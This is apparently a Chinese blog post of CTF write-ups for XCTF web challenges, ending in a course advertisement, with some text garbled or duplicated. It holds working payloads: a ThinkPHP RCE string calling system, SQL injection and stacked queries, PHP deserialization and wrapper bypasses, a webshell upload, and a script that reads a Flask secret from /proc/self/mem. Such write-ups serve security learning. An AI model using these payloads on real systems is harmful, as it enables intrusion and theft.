2024年网络安全最新CTF_WP-攻防世界web题解(1),2024年最新这原因我服了(1)

        $this->args[$k] = $this->waf($v);
    }
}   

}

a r g s = a r r a y ( ′ c a " " t args=array('ca""t args=array(ca""t{IFS}f"“lag_1s_here ( p r i n t f (printf (printf{IFS}”\57")f"“lag_831b69012c67b35f.p”“hp’);
a = n e w e a s e ( " p i n g " , a=new ease("ping", a=newease("ping",args);
b = s e r i a l i z e ( b=serialize( b=serialize(a);
print($b.”\n");
d a t a = b a s e 64 _ e n c o d e ( data=base64\_encode( data=base64_encode(b);
echo $data;

?>


![image-20240323144143183](https://img-blog.csdnimg.cn/img_convert/10d291f902851f3313b800d881cc939d.png)


![image-20240323144201080](https://img-blog.csdnimg.cn/img_convert/1db80a7db76b20893c75c81e6e35e236.png)


![image-20240323144441765](https://img-blog.csdnimg.cn/img_convert/1596bbcb9baf14cdc7c9b4c54be4cd66.png)


至此,已成艺术


**绕过绕过绕过**


##### 总结:$命令替换、ls -l、waf绕过、空格绕过、printf绕过


参考:https://www.cnblogs.com/gradyblog/p/16989750.html


#### web2


![image-20240317200746338](https://img-blog.csdnimg.cn/img_convert/7b250852af4df0bff5e75903b094c737.png)


![image-20240317200757080](https://img-blog.csdnimg.cn/img_convert/670b7b4edc0e8c18c3eb80ccb04999f3.png)


对encode逆向解密miwen应该就是flag



<?php function decode($str) { // ROT13 解密 $str = str\_rot13($str); // 反转字符串 $str = strrev($str); // Base64 解码 $str = base64\_decode($str); // 字符替换,将每个字符的 ASCII 值减 1 $decoded = ''; for ($i = 0; $i < strlen($str); $i++) { $decoded .= chr(ord(substr($str, $i, 1)) - 1); } //再次反转 $decoded = strrev($decoded); return $decoded; } // 加密字符串 $miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; // 解密加密字符串 $plaintext = decode($miwen); // 输出解密结果 echo $plaintext; ?>

使用phpstudy,将文件放在WWW根目录下,浏览器访问即可


##### 总结:解密


#### warmup


![image-20240317203250603](https://img-blog.csdnimg.cn/img_convert/fc6dfe46cfec2644ce4598d88749ceae.png)


![image-20240317203309122](https://img-blog.csdnimg.cn/img_convert/9d820462be3813417df23b8328db33b5.png)


查看源码


![image-20240317203321893](https://img-blog.csdnimg.cn/img_convert/2b0b08aad4ee60107a2e8f8d333a6564.png)


提示source.php


![image-20240317203350469](https://img-blog.csdnimg.cn/img_convert/edb86049afa1334fceec848143ab3674.png)


并且还提到了一个hint.php,查看


![image-20240317203435226](https://img-blog.csdnimg.cn/img_convert/7db87df0859e12d5ee027554fbeb5e57.png)


提示flag在这个里面


先看前面的源码source.php


1. request接收参数file,判断是否为空、是否是string、checkfile
2. 如果满足,则包含file
3. 否则打印滑稽


所以应该是要把ffffllllaaaagggg文件包含进file,关键就是怎么绕过checkfile


接下看重点看checkfile函数,白名单被写死,return true的情况只有三种


1. file在白名单中
2. 在file末尾加了个?,?前的部分在白名单中
3. 先将file进行url解码,然后同2


这里的file就是参数page,加?的目的应该是通过添加的?找到末尾坐标,但是正是这多此一举给了可趁之机,只需要先发制人,提前在file中加一个?,就可以让它解析错误,截取我们自己添加的?前面的部分


因此payload可以是hint.php?..ffffllllaaaagggg


但是由于ffffllllaaaagggg的路径不清楚,只能一个一个试,不停添加…/


最终拿到flag


![image-20240317211145382](https://img-blog.csdnimg.cn/img_convert/031e5393fd0ba5938ccbb1c702121346.png)


里面还有一个重点,就是在include ‘file’的时候,file是string类型的,然后从file中解析文件路径,因此才可以从hint.php?..ffffllllaaaagggg这种格式中解析出正确的ffffllllaaaagggg路径


![image-20240317211538762](https://img-blog.csdnimg.cn/img_convert/3adce86419bc0c132c216c94711e0d48.png)


##### 总结:php代码审计,绕过check


#### upload1


![image-20240318115340599](https://img-blog.csdnimg.cn/img_convert/3cf73a8ee454d32529070d103880c4f0.png)


![image-20240318115359317](https://img-blog.csdnimg.cn/img_convert/0107ab7b7936c792250affe7c7b34d12.png)


尝试上传任意txt文件,结果


![image-20240318115510626](https://img-blog.csdnimg.cn/img_convert/35abb0747bd42c96f99cd49c12241353.png)


选择一张图片上传


![image-20240318115722412](https://img-blog.csdnimg.cn/img_convert/c6004c9e345c96bad7d71e7d7bc1570b.png)


查看源码


![image-20240318120923392](https://img-blog.csdnimg.cn/img_convert/c00ba551c6deea797cadbd640c84cb4b.png)


发现前端对文件名过滤


使用burpsuit抓包发送php文件


![image-20240318121008012](https://img-blog.csdnimg.cn/img_convert/0f0dced0c97df540a0bc261a33fa2f50.png)


成功上传,蚁剑连接


![image-20240318121056581](https://img-blog.csdnimg.cn/img_convert/e6e7c2c128242fbd18ed80409ef626c3.png)


![image-20240318121144124](https://img-blog.csdnimg.cn/img_convert/c680776fc1e29001ec44f400690cea83.png)


![image-20240318121200477](https://img-blog.csdnimg.cn/img_convert/07a9ad376e6523286c7f4f458e5e69c9.png)


##### 总结:文件上传漏洞


#### NewsCenter


![image-20240318121719666](https://img-blog.csdnimg.cn/img_convert/60cfdb01bf607136197915247ace38ad.png)


![image-20240318121749359](https://img-blog.csdnimg.cn/img_convert/e6f0ceae2e76b15bcd9c7928d82f8641.png)


观察题目,只有一个search输入框可以挖掘漏洞,初步判断sql注入。


但是一旦输入单引号,服务器就崩


![image-20240318122151762](https://img-blog.csdnimg.cn/img_convert/82e1fc60dfe27d60eb2d844339266b7c.png)


![image-20240318122137900](https://img-blog.csdnimg.cn/img_convert/7cdecb4c3cff9861e4c01f940dc8c3ad.png)


使用burpsuit抓包


![image-20240318122339459](https://img-blog.csdnimg.cn/img_convert/8cb78b344a8d608fde889228f2cffc9e.png)


直接上万能密码,成功回显所有news,说明的确是sql注入


![image-20240318122425596](https://img-blog.csdnimg.cn/img_convert/5a613b8de6dbad44b44d7aa105f074f5.png)


先判断select列数,3


![image-20240318122547366](https://img-blog.csdnimg.cn/img_convert/826d92b197e0d20a27ffee21b6620568.png)


![image-20240318122636509](https://img-blog.csdnimg.cn/img_convert/fe8150a44352e9890f2e132c3853cfb2.png)


没有过滤,并且回显2,3。应该就是一道简单的注入题


![image-20240318122850358](https://img-blog.csdnimg.cn/img_convert/638d54095b540a5d402a39fd0ad873b7.png)


![image-20240318123001425](https://img-blog.csdnimg.cn/img_convert/174599c2c8d383aaef9fa82c286258e6.png)


![image-20240318123116373](https://img-blog.csdnimg.cn/img_convert/bd8c5fa7a70c7ae7c7eaf746516189cd.png)


##### 总结:sql注入


#### Web\_php\_unserialize


![image-20240318123714216](https://img-blog.csdnimg.cn/img_convert/ed2089bc72e146e9e5d8155da2c7ad99.png)


![image-20240318125221177](https://img-blog.csdnimg.cn/img_convert/640cec8e1a2ebb5830daddab7c850d13.png)


##### 补充:正则表达式规则


以下是一些常用的正则表达式元字符和规则:


1. **普通字符**:这些字符直接匹配其自身。例如,字母 `a` 将匹配字符串中的字母 `a`。
2. **元字符**:具有特殊含义的字符,例如 `^`、`$`、`.`、`*`、`+`、`?` 等。这些元字符用于构建更复杂的匹配模式。
3. **字符类**:用方括号 `[]` 表示,匹配其中任意一个字符。例如,`[abc]` 匹配字符 `a`、`b` 或 `c` 中的任意一个。
4. **字符范围**:在字符类中使用连字符 `-` 可以表示字符范围。例如,`[a-z]` 匹配任意小写字母,`[0-9]` 匹配任意数字。
5. **量词**:用于指定匹配重复次数的数量。常见的量词包括 `*`(零次或多次)、`+`(一次或多次)、`?`(零次或一次)、`{n}`(恰好 n 次)、`{n,}`(至少 n 次)、`{n,m}`(至少 n 次,至多 m 次)。
6. **定位符**:用于匹配字符串的边界,包括 `^`(匹配字符串的起始位置)、`$`(匹配字符串的结尾位置)、`\b`(匹配单词边界)等。
7. **转义字符**:用反斜杠 `\` 来转义特殊字符,使其具有普通字符的含义。例如,`\.` 匹配实际的点号字符,而不是元字符 `.`。
8. **分组和捕获**:使用圆括号 `()` 可以将一部分正则表达式组合成子表达式,并将其作为一个整体进行匹配。这还允许在匹配期间捕获子表达式的内容,以便稍后引用。
9. **反向引用**:在正则表达式中,可以使用 `\n`(其中 n 是一个数字)来引用捕获的子表达式的内容。
10. **修饰符**:在正则表达式的结束符号后,可以添加修饰符以改变匹配行为。常见的修饰符包括 `i`(不区分大小写)、`g`(全局匹配)、`m`(多行匹配)等。


那么这道题,这个正则表达式模式 `/[oc]:\d+:/i` 匹配的规则如下:


1. `[oc]:`:匹配一个字符,可以是 `o` 或 `c` 中的任意一个字符。方括号 `[...]` 表示字符集,里面的字符可以任意选择其中一个。`:` 表示匹配实际的冒号字符。
2. `\d+`:匹配一个或多个数字字符。`\d` 是一个特殊的元字符,表示匹配任意数字字符,`+` 表示匹配前面的内容至少一次。因此,`\d+` 表示匹配一个或多个连续的数字。
3. `:`:匹配实际的冒号字符。


综合起来,这个正则表达式模式匹配的字符串形式为 `[o|c]:数字+:`,其中 `o` 或 `c` 是字符集 `[oc]` 中的一个字符,后面跟着一个或多个数字,最后再跟着一个冒号 `:`。


这种模式通常用于匹配序列化字符串中的自定义对象引用标识符,因为这种标识符通常以 `o` 或 `c` 开头,后面跟着一些数字,然后再跟着一个冒号。如:o:5:


##### 函数绕过


1. 将传的参数进行base64编码,绕过base64\_decode函数
2. 在反序列化串的O:前加个加号“+”,绕过preg\_match函数
3. 修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数


脚本代码:



<?php class Demo { private $file = 'fl4g.php'; } $a=new Demo(); $b=serialize($a); echo $b; $b=str\_replace('O:4','O:+4',$b); $b=str\_replace(':1:',':2:',$b); $b=base64\_encode($b); echo $b; ?>

运行得到var


![image-20240318184416720](https://img-blog.csdnimg.cn/img_convert/e6ba2fa10e05a2f38c406baa8d822933.png)


把var加到url后面得到flag


![image-20240318184443662](https://img-blog.csdnimg.cn/img_convert/bda1453b17aba3ced7aa690536ac1431.png)


##### 总结:php反序列化漏洞,绕过


#### php\_rce


![image-20240318184604605](https://img-blog.csdnimg.cn/img_convert/75448f3500f2d09f648d4ac199339f6f.png)


![image-20240318184613498](https://img-blog.csdnimg.cn/img_convert/96d03ee4baeb4e3b616f4a4105c7b7fa.png)


thinkphp框架,没思路,看网上题解,这个框架是有漏洞的,上网搜索thinkphp漏洞,得知漏洞大致分两个版本


![image-20240318192602335](https://img-blog.csdnimg.cn/img_convert/bbede5a715592539d385bf9b983f6404.png)


这个是5.0版本的,尝试在url中添加途中payload,果然可以,使用这个就可以拿到shell



?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


ls查看目录


![image-20240318192758123](https://img-blog.csdnimg.cn/img_convert/7916c519ae6c457eac0f30bfc373b1e7.png)


一级一级查看有没有flag


最终发现一个flag文件


![image-20240318192846480](https://img-blog.csdnimg.cn/img_convert/e1c49e0e05e2ab3bd53d723264572ecd.png)


cat查看文件


![image-20240318192859938](https://img-blog.csdnimg.cn/img_convert/7fd5bddeae9d48b27e1ea2cd824f7f0e.png)


##### 总结:thinkphp框架漏洞,根据信息网上查找


#### command\_execution


![image-20240318193045499](https://img-blog.csdnimg.cn/img_convert/c12e00a3c2d211240840da6ffbb978a8.png)


![image-20240318194317639](https://img-blog.csdnimg.cn/img_convert/4440c23ab42b77f06ca34edc9ab27b91.png)


![image-20240318213111291](https://img-blog.csdnimg.cn/img_convert/2d4e8ff27570e5d0b65548eaae8e6930.png)


发现可能是简单的把命令拼接起来,尝试注入多条命令


![image-20240318213205660](https://img-blog.csdnimg.cn/img_convert/64f4b99be25ffba38a303b3de01d235f.png)


接下来就是寻找flag的路径


![image-20240318213248298](https://img-blog.csdnimg.cn/img_convert/7511a708ed84f567d98fa9261a3ddc02.png)


##### 总结:命令拼接


#### **catcat-new**


![image-20240318221859442](https://img-blog.csdnimg.cn/img_convert/96e008d008c0cfff3c8a2f903854b179.png)


![image-20240318221919710](https://img-blog.csdnimg.cn/img_convert/6dc92055a7797b5c708beed500072f96.png)


![image-20240318224845594](https://img-blog.csdnimg.cn/img_convert/a1e386caac8f30a6f7da1fb6620732f2.png)


点进一张图之后,观察url,猜测可能是sql注入


尝试各种注入,不可行,根据返回信息猜测可能是任意文件读取漏洞


![image-20240318225014075](https://img-blog.csdnimg.cn/img_convert/6655b53058dd42644f627d7b6b1cb0a8.png)


尝试读取/etc/passwd文件,果然可以


![image-20240318225204075](https://img-blog.csdnimg.cn/img_convert/599e7b36a9f496f756dc40576ca84703.png)


##### 关于ctf常用的Linux文件路径:http://t.csdnimg.cn/Mi7J3


这道题可以从这入手,全部试一边看看,加深记忆  
 ![image-20240319131156968](https://img-blog.csdnimg.cn/img_convert/56f4f95992b92a62114a93cd185c1a18.png)


![image-20240319131130868](https://img-blog.csdnimg.cn/img_convert/252ff73848e106630a840e7dcf5c7489.png)


通过查看proc/self/cmdline发现执行当前程序的命令


![image-20240319131538323](https://img-blog.csdnimg.cn/img_convert/f466d7511f49520d15974f9df2d04d5c.png)


当前程序的源代码应该就在app.py中,查看app.py:


![image-20240319131710771](https://img-blog.csdnimg.cn/img_convert/223208a91b13b775081f0b0f98671ac3.png)


代码如下:



import os
import uuid
from flask import Flask, request, session, render_template
from cat import cat

flag = “”
app = Flask(
name,
static_url_path=‘/’,
static_folder=‘static’
)
app.config[‘SECRET_KEY’] = str(uuid.uuid4()).replace(“-”, “”) + “*abcdefgh”

if os.path.isfile(“/flag”):
flag = cat(“/flag”)
os.remove(“/flag”)

@app.route(‘/’, methods=[‘GET’])
def index():
detailtxt = os.listdir(‘./details/’)
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index(‘.’)])

return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route(‘/info’, methods=[“GET”, ‘POST’])
def info():
filename = “./details/” + request.args.get(‘file’, “”)
start = request.args.get(‘start’, “0”)
end = request.args.get(‘end’, “0”)
name = request.args.get(‘file’, “”)[:request.args.get(‘file’, “”).index(‘.’)]

return render_template("detail.html", catname=name, info=cat(filename, start, end))

@app.route(‘/admin’, methods=[“GET”])
def admin_can_list_root():
if session.get(‘admin’) == 1:
return flag
else:
session[‘admin’] = 0
return “NoNoNo”

if name == ‘__main__’:
app.run(host=‘0.0.0.0’, debug=False, port=5637)


使用了flask框架,并且通过检查session的值来判断是否admin,那么可能需要伪造session


搜索flask框架漏洞,发现存在session漏洞:https://www.jianshu.com/p/56614e46093e


![image-20240319142125285](https://img-blog.csdnimg.cn/img_convert/15c6d2e4200fd3aa6d3ab6fd732e6672.png)


伪造session参考:http://t.csdnimg.cn/xDmL2


从github上下载session加密解密脚本:https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fnoraj%2Fflask-session-cookie-manager


脚本使用方法:


![image-20240319142629100](https://img-blog.csdnimg.cn/img_convert/67f107b56035c822e7945d164783055f.png)


运行脚本发现缺少模块,使用pip安装,又报pip不是内部命令


先把pip目录D:\soft\python3.7.9\Scripts添加到系统环境变量path中


然后pip install安装响应模块


启动脚本


![image-20240319142549770](https://img-blog.csdnimg.cn/img_convert/d92064e68974e20a05eb3b80b5b7656f.png)


接下来就是伪造session中admin的值为1,但是伪造需要先拿到secret\_key


这道题的程序中,密钥是通过使用 `uuid.uuid4()` 函数生成了一个随机的 UUID(Universally Unique Identifier),然后通过 `replace("-", "")` 去掉了 UUID 中的破折号,最后再添加了一个固定的字符串 `*abcdefgh`。这样生成的字符串就作为了 Flask 应用程序的密钥。这种方法可以确保每次启动应用程序时都会生成一个不同的密钥,提高了安全性。因为 UUID 是按照特定算法生成的全局唯一标识符,所以可以保证生成的密钥是唯一的。


所以就要想办法找到uuid或者密钥


联想到刚才查到的Linux文件路径,proc/self/environ中可能存在密钥,先查看再说


![image-20240319143832007](https://img-blog.csdnimg.cn/img_convert/a3d2f3ce31f1c198944edb33cd7881c8.png)


内容如下:



HOSTNAME=33f63d52abb8
PYTHON_PIP_VERSION=21.2.4
SHLVL=1
HOME=/root
OLDPWD=/
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.7.12
PYTHON_SETUPTOOLS_VERSION=57.5.0
PWD=/app
PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309


没有发现


由于这个密钥是每次程序运行随机生成的,所以只有在内存中可以找到


/proc/[pid]/maps 可以查看进程的内存映射,当前进程[pid]换成self即可


![image-20240319154404336](https://img-blog.csdnimg.cn/img_convert/fb5abc9e81711b39e98a10f7ea50012d.png)


使用脚本从内存中寻找secret\_key:



import requests
import re

url=‘http://61.147.171.105:63081/’
s_key=‘’
map_list=requests.get(url+‘info?file=…/…/proc/self/maps’)

map_list=map_list.text.split(‘\n’) #根据字符串"\n"进行分割
for i in map_list:
map_addr=re.match(r"([a-z0-9]+)-([a-z0-9]+) rw",i) #正则匹配rw可读可写内存区域,()起到分组的作用
if map_addr:
start=int(map_addr.group(1),16)
end=int(map_addr.group(2),16)
print(“found rw addr:”,start,“-”,end)

    res=requests.get(f"{url}info?file=../../proc/self/mem&start={start}&end={end}")
    if "\*abcdefgh" in res.text:
        s_key_=re.findall("[a-z0-9]{32}\\*abcdefgh",res.text)
        if s_key_:
            print("find secret\_key:",s_key_[0])
            s_key=s_key_[0]
            break

![image-20240319154202746](https://img-blog.csdnimg.cn/img_convert/6f793fb522308486f29c959b013120e2.png)


拿到密钥:05b0f6e17a7e4437af97f749cef1a5b5\*abcdefgh


接下来伪造session


![image-20240319155412618](https://img-blog.csdnimg.cn/img_convert/6bb43b492bcbd7296b3b744ca4e07964.png)


拿到伪造session:eyJhZG1pbiI6MX0.ZflETw.2N1Cy\_r\_emRf9w8BRuf557N1q7I


注意,双引号包裹时里边不能再用双引号,要么\转义,要么使用单引号,这里踩坑


![image-20240319155548069](https://img-blog.csdnimg.cn/img_convert/eaba3f779abf3197fd1aed697a082ebd.png)


burpsuit重新发送数据包拿到flag


![image-20240319155349792](https://img-blog.csdnimg.cn/img_convert/a3c0458ab780902648ca44f81040851c.png)


##### 总结:任意文件读取漏洞 + python flask框架session伪造漏洞 + 内存中读取secretkey


#### Web\_php\_include


![image-20240319220726610](https://img-blog.csdnimg.cn/img_convert/2bde7b3a3f5f8dc3fcf1cb8c52021caf.png)  
 ![image-20240319220737763](https://img-blog.csdnimg.cn/img_convert/c30ac250fcbb1fc8de2ba6df584fb153.png)


##### 解法一:完全利用php伪协议


由于php://被过滤,使用data协议:data://text/plain,<?php phpinfo(); ?>


![image-20240319221349898](https://img-blog.csdnimg.cn/img_convert/dfbad56c8ae525560f6fbef9ecc0d397.png)


首先查看目录


##### 读取目录路径


![image-20240319221608005](https://img-blog.csdnimg.cn/img_convert/6e19adc8c3ce94c7572556aad5d396dc.png)


##### 读取目录文件


![image-20240319221700022](https://img-blog.csdnimg.cn/img_convert/78a19e376cbbaebcaa8937e6842217d6.png)


glob查看当前路径下所有目录文件


![image-20240319222323398](https://img-blog.csdnimg.cn/img_convert/d2dbfafc14333de366a7ff633798be69.png)


highlight\_file查看文件


![image-20240319222553757](https://img-blog.csdnimg.cn/img_convert/a422f41b59d7fc7a260a97f780500fe1.png)  
 或者使用file\_get\_contents


![image-20240319222724687](https://img-blog.csdnimg.cn/img_convert/f10b593ca928237d82588fd78e8dd343.png)


##### 总结:php伪协议:data://text/plain


##### php伪协议input和data、php读取目录路径、读取目录文件、读取文件


这个是数据流;php://input是输入流,从post中输入


#### supersqli


![image-20240320154542052](https://img-blog.csdnimg.cn/img_convert/d08825b835c7f2f87009a74c153eb98a.png)


![image-20240320154551124](https://img-blog.csdnimg.cn/img_convert/4597504fcff5bd897125f5572a4ff4e3.png)


可以注入,但是关键字被过滤


![image-20240320155320252](https://img-blog.csdnimg.cn/img_convert/ff69491d3598fc4356c5a39f34c2f1b1.png)


尝试堆叠注入


查看数据库:show databases;


![image-20240320155455114](https://img-blog.csdnimg.cn/img_convert/cccbffe4cc43c7904e60b795c097a869.png)


查看表名:show tables;


![image-20240320155628327](https://img-blog.csdnimg.cn/img_convert/e77a6ca07c2f5c24dd892dfec9437508.png)


查看两个表的列名:



show columns from words; show columns from 1919810931114514;


**注意:查询时字符串需要加反引号**


![image-20240320155850484](https://img-blog.csdnimg.cn/img_convert/e4d19109271a15b7e1a17e2b07218e64.png)


![image-20240320160202950](https://img-blog.csdnimg.cn/img_convert/9f876b8d57890ccaceca340651121b2a.png)


最后一步就是查询字段内容


##### 方法一:改表名



alter table words rename to w;
alter table 1919810931114514 rename to words;


![image-20240320161826075](https://img-blog.csdnimg.cn/img_convert/b113027c23820c17263cac1f24d63f4c.png)


这里是因为修改了表名之后没有words表了,不用管,继续修改flag字段名



alter table words change flag id VARCHAR(50);


好吧其实是需要管的,三个语句需要同时注入,否则第一次修改了表明之后,words不存在,后面就无法查询,直接报错,后续的注入就无法进行了。


![image-20240320162741493](https://img-blog.csdnimg.cn/img_convert/a80c39550dc69a850f20752c8afb3374.png)  
 重启环境,重新注入


最后1’ or 1=1#直接显示所有数据


![image-20240320163349171](https://img-blog.csdnimg.cn/img_convert/b5f67cd2f2435a737a2f23a02645af2d.png)


##### 方法二:预编译



';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prEpare stmt from @sql;EXECUTE stmt;#


##### 总结:堆叠注入,修改表名、预编译


#### robots


![image-20240320164520923](https://img-blog.csdnimg.cn/img_convert/fe9d4b60a876109759a9491f3c369d03.png)  
 ![image-20240320164539271](https://img-blog.csdnimg.cn/img_convert/6f8cd557153e7831044c610668e6ad43.png)


直接查看robots.txt文件


![image-20240320164609082](https://img-blog.csdnimg.cn/img_convert/d34aa49b4885937e2631242850e6a471.png)


查看隐藏的文件


![image-20240320164645262](https://img-blog.csdnimg.cn/img_convert/10e1381d6c491e669d7ad8e64bdc957a.png)


##### 总结:robots.txt


#### file\_include


![image-20240320164751380](https://img-blog.csdnimg.cn/img_convert/3eedd5932ec3e623ed393da3a0d3ab43.png)


![image-20240320170112897](https://img-blog.csdnimg.cn/img_convert/0e4e0ea981abb285220669edcdc6b545.png)


又是一道php伪协议,但是之前的input或者data都不管用了,三道题明明长得一模一样,却只能用不同的伪协议


![b0b0b0aee983830959179eb06b230ac6](https://img-blog.csdnimg.cn/img_convert/b36e9bcf378c4e1bc603e0b2b46d57ac.png)  
 ![8661e1d7d0304710220d67e7dd34034a](https://img-blog.csdnimg.cn/img_convert/707b7fec10918eb9272b36520c21d694.png)  
 ![5bad31f177192562bd6f5fdd83f82ef1](https://img-blog.csdnimg.cn/img_convert/2ccc2f4ebf7d2b986952b8a691174c57.png)  
 不理解,再次查找,发现不同协议的使用条件:https://www.cnblogs.com/Article-kelp/p/14581703.html


##### **不同协议的使用条件**


**php://input**  使用条件(这些设定在php.ini文件中设置):allow\_url\_fopen On/Off(均可) allow\_url\_include On


该协议获取数据包的消息正文的内容作为变量的值,官方定义如下:


![img](https://img-blog.csdnimg.cn/img_convert/79b6865de19425bab12d0e060f7e5205.png)


**data://**  使用条件:(这些设定在php.ini文件中设置):allow\_url\_fopen On/Off(均可) allow\_url\_include On


该协议类似于php://input,区别在于data://获取的是协议固定结构后的内容,官方定义如下:


![img](https://img-blog.csdnimg.cn/img_convert/df8d79faa538100344c2e5068f8c1394.png)  
 实际上除了data://text/plain;base64,这一用法之外还存在data://text/plain,这种用法,区别在于前者获取的是协议固定结构后所接内容的base64解密格式,而后者获取的是未被解密的格式。


**php://filter**  使用条件:(这些设定在php.ini文件中设置):allow\_url\_fopen On/Off(均可) allow\_url\_include On/Off(均可)


该协议多用来对文件处理,可以是读取时处理文件也可以是写入时处理文件,官方定义如下:


![img](https://img-blog.csdnimg.cn/img_convert/cfece05ef2c030056820ff6ebdad1541.png)  
 resource=  通常是本地文件的路径,绝对路径和相对路径均可以使用。


read=  读取时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。


write=  写入时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。


;  (技术水平过于有限并没理解其用途,也不曾遇到使用案例,故此处除开不讲)


关于read和write参数,其具体数值有(两者通用):


string.toupper 转换为大写


string.tolower 转换为小写


string.rot13 进行rot13加密


string.strip\_tags 去除目标中含有的HTML、XML和PHP的标签(等同于strip\_tags()函数)


convert.base64-encode 进行base64加密


convert.base64-decode 进行base64解密


**file://**  使用条件:(这些设定在php.ini文件中设置):allow\_url\_fopen On/Off(均可) allow\_url\_include On/Off(均可)


该协议用来访问服务端的本地文件,但是文件的协议固定结构后面的路径得是绝对路径(用相对路径则就不需要带上协议了),官方定义如下:


![img](https://img-blog.csdnimg.cn/img_convert/e35bc3d89f3143ecd1ea6c5f00bf729c.png)  
 终于大概理解,继续这道题


使用filter读取check.php



?filename=php://filter/read=convert.base64-encode/resource=./check.php


结果得到


![image-20240320184416081](https://img-blog.csdnimg.cn/img_convert/9d8ec9585d89a7c829d3c49be6dd9889.png)


应该是被过滤掉了,但至少说明这个伪协议可以用,只需要想办法绕过


能换掉的只有中间的read=convert.base64-encode部分,查找php可用的过滤器


convert.quoted-printable-encode也不行


把read去掉,过滤器换成php://filter/convert.iconv.utf-16le.utf-8/resource=./check.ph就有反应了,但是编码格式不对


![image-20240320185745614](https://img-blog.csdnimg.cn/img_convert/bed3e27d364007403f45bb3c9de60467.png)


utf8和utf16顺序写反了,格式如下:convert.iconv…


![image-20240320190428364](https://img-blog.csdnimg.cn/img_convert/24f8dc3c5111d9f7eab94b9cb3c3741b.png)


代码如下:



<?php if ($\_GET["filename"]) { $preg\_match\_username = 'return preg\_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $\_GET["filename"]);'; if (eval($preg\_match\_username)) { die("do not hack!"); } } ?>

到这一步没思路了,才想起来用dirbuster扫描文件,发现


![image-20240320191102148](https://img-blog.csdnimg.cn/img_convert/ccf63f40cd590537f7a71ea3f88ca4f5.png)


直接访问不可以


![image-20240320191140438](https://img-blog.csdnimg.cn/img_convert/d5cc929034f26e77f8a0eb026b8276fe.png)  
 那就还是通过伪协议  
 ![image-20240320191350318](https://img-blog.csdnimg.cn/img_convert/77934e1c19793f0f62d0652f59e05c75.png)


##### 总结:php://filter伪协议,过滤器绕过


#### fileclude


![image-20240320224453411](https://img-blog.csdnimg.cn/img_convert/98c25de71680f2a5d54b1bd2e71b4a60.png)  
 ![image-20240320224503223](https://img-blog.csdnimg.cn/img_convert/01eac93518863dad62b23ba70f0d5c3c.png)


首先file2=php://input,然后在post参数传入hello ctf


file1=flag.php


成功回显


![image-20240320224836190](https://img-blog.csdnimg.cn/img_convert/d5d0bb3c6950a84a6c40cd976f8fc3aa.png)


说明input伪协议是可以用的


接下来使用filter来读取flag.php文件



file1=php://filter/read=convert.base64-encode/resource=flag.php


![image-20240320230736612](https://img-blog.csdnimg.cn/img_convert/b09a6dccb76fe6000cfcbdaa8c8d393e.png)


base64解码


![image-20240320230837457](https://img-blog.csdnimg.cn/img_convert/3910c2c71a592db787ec1bf9dd953fcc.png)


##### 总结:php伪协议


## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/401147086475dd8a098d904e9384166c.png)

![img](https://img-blog.csdnimg.cn/img_convert/c066bb3356b53d6cc975ce4614c3c157.png)

![img](https://img-blog.csdnimg.cn/img_convert/d0b32910442c3be40d866af5ff32e5b8.png)

![img](https://img-blog.csdnimg.cn/img_convert/1bcb2fdd7d3fbb6f4b27b5c465537856.png)

![img](https://img-blog.csdnimg.cn/img_convert/20d25fbd561e7c67608139e7dabc5524.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

nvert/d5d0bb3c6950a84a6c40cd976f8fc3aa.png)


说明input伪协议是可以用的


接下来使用filter来读取flag.php文件



file1=php://filter/read=convert.base64-encode/resource=flag.php


![image-20240320230736612](https://img-blog.csdnimg.cn/img_convert/b09a6dccb76fe6000cfcbdaa8c8d393e.png)


base64解码


![image-20240320230837457](https://img-blog.csdnimg.cn/img_convert/3910c2c71a592db787ec1bf9dd953fcc.png)


##### 总结:php伪协议


## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

[外链图片转存中...(img-G89A0DQy-1715801567306)]

[外链图片转存中...(img-r9Wi4iLR-1715801567306)]

[外链图片转存中...(img-NT0MYISD-1715801567306)]

[外链图片转存中...(img-mIWJjExH-1715801567307)]

[外链图片转存中...(img-DS5Obbcr-1715801567307)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

